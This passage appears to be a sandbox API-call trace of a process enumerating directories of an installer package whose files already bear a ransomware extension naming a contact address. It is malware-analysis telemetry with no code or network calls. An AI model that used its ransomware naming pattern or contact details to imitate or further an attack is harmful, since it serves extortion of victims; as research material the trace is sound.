nFileSizeLow=0x12d16, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.036] FindNextFileW (in: hFindFile=0x4531b80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x769659b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x769659b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x76bc70d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.036] FindNextFileW (in: hFindFile=0x4531b80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x769659b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x769659b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x76bc70d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.037] FindClose (in: hFindFile=0x4531b80 | out: hFindFile=0x4531b80) returned 1 [0159.037] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.037] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="2052", cAlternateFileName="")) returned 1 [0159.038] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.038] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531ec0 [0159.039] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.039] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8919802, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8919802, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8919802, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.039] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x893fada, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x893fada, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x912574a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.039] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x76e2aad, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x76e2aad, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f90157, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.039] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x76e2aad, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x76e2aad, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f90157, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.039] FindClose (in: hFindFile=0x4531ec0 | out: hFindFile=0x4531ec0) returned 1 [0159.040] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.040] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="2070", cAlternateFileName="")) returned 1 [0159.040] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.040] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531d00 [0159.041] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.041] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8a70cc6, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8a70cc6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8a96f1a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.041] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8a96f1a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8a96f1a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8a96f1a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.042] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e129c1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e129c1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e129c1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.042] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e129c1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e129c1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e129c1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.042] FindClose (in: hFindFile=0x4531d00 | out: hFindFile=0x4531d00) returned 1 [0159.042] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.042] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="3076", cAlternateFileName="")) returned 1 [0159.043] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.043] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531740 [0159.043] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.044] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8abdf43, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8abdf43, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x927cc87, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.044] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8b2fa3c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8b2fa3c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8b2fa3c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.044] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e129c1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e129c1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e38b7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.044] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e129c1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e129c1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e38b7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.044] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0159.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.045] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="3082", cAlternateFileName="")) returned 1 [0159.045] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.045] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531800 [0159.045] FindNextFileW (in: hFindFile=0x4531800, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.045] FindNextFileW (in: hFindFile=0x4531800, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8b55c13, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8b55c13, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8b55c13, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.045] FindNextFileW (in: hFindFile=0x4531800, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8b7c082, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8b7c082, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9387cb5, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.046] FindNextFileW (in: hFindFile=0x4531800, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e38b7a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e38b7a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e38b7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.046] FindNextFileW (in: hFindFile=0x4531800, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e38b7a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e38b7a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e38b7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.046] FindClose (in: hFindFile=0x4531800 | out: hFindFile=0x4531800) returned 1 [0159.046] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.046] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="Client", cAlternateFileName="")) returned 1 [0159.046] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.046] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x72a708 [0159.197] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.197] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8e76d99, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8e76d99, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8e76d99, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="Parameterinfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARAME~1.SAV")) returned 1 [0159.197] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8e9f1e6, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8e9f1e6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8e9f1e6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 1 [0159.197] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8e9f1e6, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8e9f1e6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8e9f1e6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 0 [0159.197] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0159.198] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.198] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8ec31ea, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8ec31ea, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x96a8dbe, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="DHtmlHeader.html.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DHTMLH~1.SAV")) returned 1 [0159.198] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e5f03d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e5f03d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e850f9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="DisplayIcon.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DISPLA~1.SAV")) returned 1 [0159.198] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="Extended", cAlternateFileName="")) returned 1 [0159.198] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.199] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x72a708 [0159.201] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.204] FindNextFileW (in: 